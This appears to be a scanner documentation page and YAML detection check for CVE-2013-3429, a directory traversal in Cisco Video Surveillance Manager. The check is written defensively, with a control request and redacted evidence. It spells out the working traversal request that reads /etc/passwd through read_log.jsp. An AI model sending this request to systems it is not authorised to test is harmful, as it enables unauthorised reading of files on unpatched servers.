Cisco Vsm — 1 vulnerability check

noctis ships 1 vulnerability check for Cisco Vsm, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Cisco Video Surveillance Manager read_log.jsp Directory Traversal

CVECVE-2013-3429
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, http_request, match, script · highest QoD 75
Feedtests/vulnerabilities/cisco-vsm/CVE-2013-3429.yaml

Tests Cisco Video Surveillance Manager (VSM) for the unauthenticated directory traversal in the log viewer of the Cisco_VSBWT (Broadware) package, /BWT/utils/logs/read_log.jsp, fixed in VSM 7.0.0. The feed requests the log viewer with a log parameter set to a ../-sequence path to /etc/passwd; the content of /etc/passwd in the reply confirms the file read. A control request for an absent random file through the same parameter must not return any passwd line, so a server that serves the same content on every request is not reported. Only the world-readable /etc/passwd is read. The account name (unless root), password field and gecos of the uid-0 line are redacted from the evidence.

How noctis detects it

  1. HTTP(S) request GET /BWT/utils/logs/read_log.jsp?filter=&log=../../../../../../../../../etc/passwd
  2. Checks passwd_r.body for (?m)(?:^|>)([^:\r\n<>]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[^…
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET /BWT/utils/logs/read_log.jsp?filter=&log=../../../../../../../../../etc/passwd.noctis…
  5. Checks ctrl_r.body for (?m)(?:^|>)[^:\r\n<>]+:[^:\r\n]*:0:[0-9]+:
  6. Checks proof for ^(?:root|<redacted>):<redacted>:0:[0-9]+: → finding QoD 75: Cisco Video Surveillance Manager read_log.jsp Directory Traversal (CVE-2013-3429)

References:

Feed source — tests/vulnerabilities/cisco-vsm/CVE-2013-3429.yaml
# Cisco Video Surveillance Manager read_log.jsp directory traversal — CVE-2013-3429
#
# Cisco VSM (Video Surveillance Operations Manager) before 7.0.0 ships the
# Cisco_VSBWT package (Broadware sample code). Its log viewer
# /BWT/utils/logs/read_log.jsp opens the file named by the `log` parameter
# without any check and without authentication, so a ../ sequence reads any
# file the web server can read (cisco-sa-20130724-vsm, Bug ID CSCsv37163;
# VSM 6.3.2 is the reported version).
#
# Detection (benign, read-only): GET
#   /BWT/utils/logs/read_log.jsp?filter=&log=../../../../../../../../../etc/passwd
# (the source NASL's exact request) and match the CONTENT of /etc/passwd.
# QoD 75 (response analysis). The ../ sits in the query string, which
# http_request sends verbatim.
#
# Improvements over the source NASL:
#   - A control request (same parameter, absent random file whose name still
#     contains "etc/passwd") must come back WITHOUT a passwd line; a blanket
#     responder or a honeypot keying a fake passwd on the substring is not
#     reported (fail-closed: no control reply → no finding).
#   - The NASL needs its VSM product detection first; the feed probes the fixed
#     JSP path directly, so a box hiding its product page is still tested.
#   - A uid-0 passwd line is accepted at the start of a line or right after an
#     HTML tag (the JSP may wrap the file in markup); the account name (unless
#     "root"), password field and gecos are redacted before they reach the
#     finding.
#
# CVEs: the NASL lists CVE-2013-3429, CVE-2013-3430 and CVE-2013-3431. This
# request proves the directory traversal file read (CVE-2013-3429) only; the
# two others (unauthenticated access to configuration/archive/log pages via
# "unspecified vectors") are not tested, so the feed does not name them.
# CVSS: CVE-2013-3429 v3.1 7.5 (NVD).
#
# Ported from OpenVAS/Greenbone NVT 2013/gb_cisco_video_surveillance_lfi_03_2013.nasl
# (OID 1.3.6.1.4.1.25623.1.0.103678, GPL-2.0-only).
uid: 57d51908-2b52-4f84-be5f-2e000a474928
name: "Cisco Video Surveillance Manager read_log.jsp Directory Traversal (CVE-2013-3429)"
description: |
  Tests Cisco Video Surveillance Manager (VSM) for the unauthenticated
  directory traversal in the log viewer of the Cisco_VSBWT (Broadware) package,
  /BWT/utils/logs/read_log.jsp, fixed in VSM 7.0.0. The feed requests the log
  viewer with a log parameter set to a ../-sequence path to /etc/passwd; the
  content of /etc/passwd in the reply confirms the file read. A control request
  for an absent random file through the same parameter must not return any
  passwd line, so a server that serves the same content on every request is
  not reported. Only the world-readable /etc/passwd is read. The account name
  (unless root), password field and gecos of the uid-0 line are redacted from
  the evidence.
cves: [CVE-2013-3429]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [cisco, vsm, video-surveillance, broadware, path-traversal, file-read, lfi, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2013-3429"
  - "http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20130724-vsm"
  - "http://www.securityfocus.com/bid/61430"
  # OpenVAS/Greenbone NASL 2013/gb_cisco_video_surveillance_lfi_03_2013.nasl (GPL-2.0-only)

steps:
  # ── Pre-initialise every value read later (undefined vars abort/skip) ────
  - id: init-passwd-r
    action: set_var
    var_name: passwd_r
    var_value: {status: 0, body: ""}

  - id: init-proof
    action: set_var
    var_name: proof
    var_value: ""

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  # ── Read /etc/passwd through the log parameter ───────────────────────────
  - id: read-passwd
    action: http_request
    method: GET
    path: "/BWT/utils/logs/read_log.jsp?filter=&log=../../../../../../../../../etc/passwd"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: passwd_r

  # No on_match: the raw body must not become evidence.
  # name:pw:0:gid:gecos:home:shell — only the name, gid and home:shell are captured.
  - id: passwd-content
    action: match
    source: passwd_r.body
    pattern: "(?m)(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
    store_as: passwd_m

  - id: passwd-redact
    action: script
    code: |
      if passwd_m.matched && passwd_m.captures.len() > 2 {
        let name = if passwd_m.captures[0] == "root" { "root" } else { "<redacted>" };
        name + ":<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2]
      } else { "" }
    store_as: proof

  # ── Control: same parameter, absent random file — must NOT carry a passwd
  # line. The absent name still contains "etc/passwd", so a honeypot that
  # keys a fake file on that substring answers it too.
  - id: control
    action: http_request
    method: GET
    path: "/BWT/utils/logs/read_log.jsp?filter=&log=../../../../../../../../../etc/passwd.noctis-absent-{{oob_token}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'proof != ""'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.body
    pattern: "(?m)(?:^|>)[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:"
    condition: 'proof != ""'
    on_match:
      set_vars:
        ctrl_hit: true

  # ── Finding (control answered and stayed clean) ──────────────────────────
  - id: report-passwd
    action: match
    source: proof
    pattern: "^(?:root|<redacted>):<redacted>:0:[0-9]+:"
    condition: "ctrl_r.status != 0 && ctrl_hit == false"
    on_match:
      finding:
        title: "Cisco Video Surveillance Manager read_log.jsp Directory Traversal (CVE-2013-3429)"
        description: "An unauthenticated GET to /BWT/utils/logs/read_log.jsp with a ../-sequence log parameter returned the content of /etc/passwd, while the same request for an absent file did not. The same flaw reads any other file the VSM web server can read, such as configuration files and archives."
        remediation: "Upgrade Cisco Video Surveillance Manager to 7.0.0 or later (cisco-sa-20130724-vsm), which removes the Cisco_VSBWT sample package, and keep the management interface off untrusted networks."
        confidence_delta: 0.55
        qod: 75
        evidence: "GET /BWT/utils/logs/read_log.jsp?filter=&log=../(x9)etc/passwd returned /etc/passwd; control for an absent file returned no passwd line ({{proof}})"
      stop: true

View these feeds on GitHub